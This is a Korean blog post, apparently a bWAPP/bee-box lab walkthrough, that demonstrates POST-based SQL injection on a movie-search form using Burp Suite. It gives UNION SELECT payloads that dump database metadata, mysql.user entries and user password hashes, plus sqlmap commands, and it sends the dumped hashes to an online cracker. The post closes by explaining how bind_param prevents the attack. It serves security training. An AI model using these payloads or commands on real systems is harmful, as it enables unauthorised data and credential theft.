SQL-Injection(POST/Select)

반응형

이번에는 GET/SELECT 방식과 똑같지만 Burpsuite를 이용하는 POST 방식을 해보도록 하겠다.

SQL Injection(POST/Select)방식을 선택하면

SQL Injection -Post1.JPG

다음과 같은 화면이 나온다.

GET 방식과 똑같이 데이터베이스 값을 하나만 출력해준다.

Burpsuite를 켜고 Intercept is on인 상태에서 Go 버튼을 누르면 다음과 같이 나오는데

POST-2.JPG

여기서 데이터 베이스의 기본정보를 얻기 위해 movie 변수에 다음과 같은 명령어를 입력하고 Intercept is off로 바꿔준다.

-> 0 UNION SELECT null, database(), @@version, @@datadir, null,null,null

여기서 우리는 데이터 베이스의 기본정보를 알 수 있다.

POST-4.JPG

이제 여기서 사용자의 호스트이름, 사용자 이름, 비밀번호를 출력하기 위해 다음과 같이 입력한다.

-> 0 UNION SELECT null, host,user,password,null,null,null FROM mysql.user

POST-5.JPG

다음과 같이 입려하면 다음과 같은 화면을 출력할 수 있다.

POST-6.JPG

host 명은 localhost, user명은 root 비밀번호는 해시화 되어있는 것을 알 수 있다.

이제 테이블 명을 파악 하기 위해서 다음과 같이 입력해준다.

-> 0 UNION SELECT null, table_schema, table_name, column_name,null,null,null FROM information_schema.columns WHERE table_schema!='mysql' AND table_schema!='information_schema'

POST-7.JPG

입력하면 다음과같은 화면이 출력 된다.

POST-8.JPG

이런방식으로 계속 DB의 정보를 알아내면 되지만 알아내는데에 한계가 있으므로 SQL Injection 자동화 도구인 'sqlmap'을 사용하여 DB와 테이블 명을 알아내보도록 하겠다.

우선 칼리를 키고 터미널에 sqlmap 명령어를 입력해보자

-> sqlmap -u "http://192.168.0.9/bWAPP/sqli_13.php" --cookie="PHPSESSID=789d6e8c5a4e2c421a851036e1209d2c; security_level=0" --data "movie=1&action=go" -DBs

-u : 자동화 공격할 URL

--cookie : 로그인 페이지이므로 쿠키값을 입력해야함

--data : 공격할 변수명

-DBs : DB명을 알아낼것이기 때문에 DB명 입력

POST-9.JPG

입력을 했는데 아무것도 안나온다... 그래서 DB명을 알아내는 방법은 포기하고 테이블 명을 알아내보기로 했다.

-> sqlmap -u "http://192.168.0.9/bWAPP/sqli_13.php" --cookie="PHPSESSID=789d6e8c5a4e2c421a851036e1209d2c; security_level=0" --data "movie=1&action=go" -p "movie" --columns

-p : SQL Injection을 시도할 변수명

--tables : 알아낼 것이 테이블 명이므로 --tables 입력

입력하면

POST-11.JPG

다음과 같이 나오는데 여기서 우리는 DB명도 알아낼 수 있다. 이제 여기서 우리는 users 테이블에 사용자 정보가 있다고 추측을 하고 movie 변수의 users 컬럼의 정보를 알아내기 위해 다음과 같이 입력한다.

-> sqlmap -u "http://192.168.0.9/bWAPP/sqli_13.php" --cookie="PHPSESSID=789d6e8c5a4e2c421a851036e1209d2c; security_level=0" --data "movie=1&action=go" -p "movie" --columns

다음과 같이 입력하면

POST-12.JPG

나오는데  여기서 우리는 login, password, secret, email등의 사용자 정보를 알아낼 수 있다.

이제 Burpsuite로 돌아와서 다음과 같이 입력해준다.

->movie=0 UNION SELECT null, login, password, email, secret,null,null FROM users&action=go

다음과 같이 입력하면

post-13.JPG

정보를 알아낼 수 있다. 

이제 이 해쉬값을 해쉬값 풀어주는 사이트에 들어가서 풀어주면 된다.

사이트 :  https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

풀어주면

etc-image-11

해시화된 비밀번호 값은 :bug

난이도 -(중, 상)

난이도(medium, high)은 항상 코드 먼저 확인한다.(sqli_13-ps.php)

etc-image-12

이 페이지는 bind_param이라는 함수를 사용하는데 bind_param 함수는 바인딩을 이용하는 함수이다.

이 함수를 사용하여 쿼리에 값을 직접 입력하지 않고 일단 '?'로 처리한 다음 그 자리에 값을 삽입하는 방식인 것이다.

즉 DB서 컬럼을 개별로 호출하고 연결하는 방식으로 SQL 인젝션을 막고 있기 때문에 공격 수행이 불가능하다.

반응형

'웹해킹 > bee-box' 카테고리의 다른 글

SQL-Injection - Login Form/Hero  (0) 2019.08.04
SQL Injection(AJAX/JSON/JQuery)  (0) 2019.08.03
SQL Injection(GET/Select)  (0) 2019.08.01
SSI Injection  (2) 2019.08.01
OS Command Injection  (0) 2019.07.31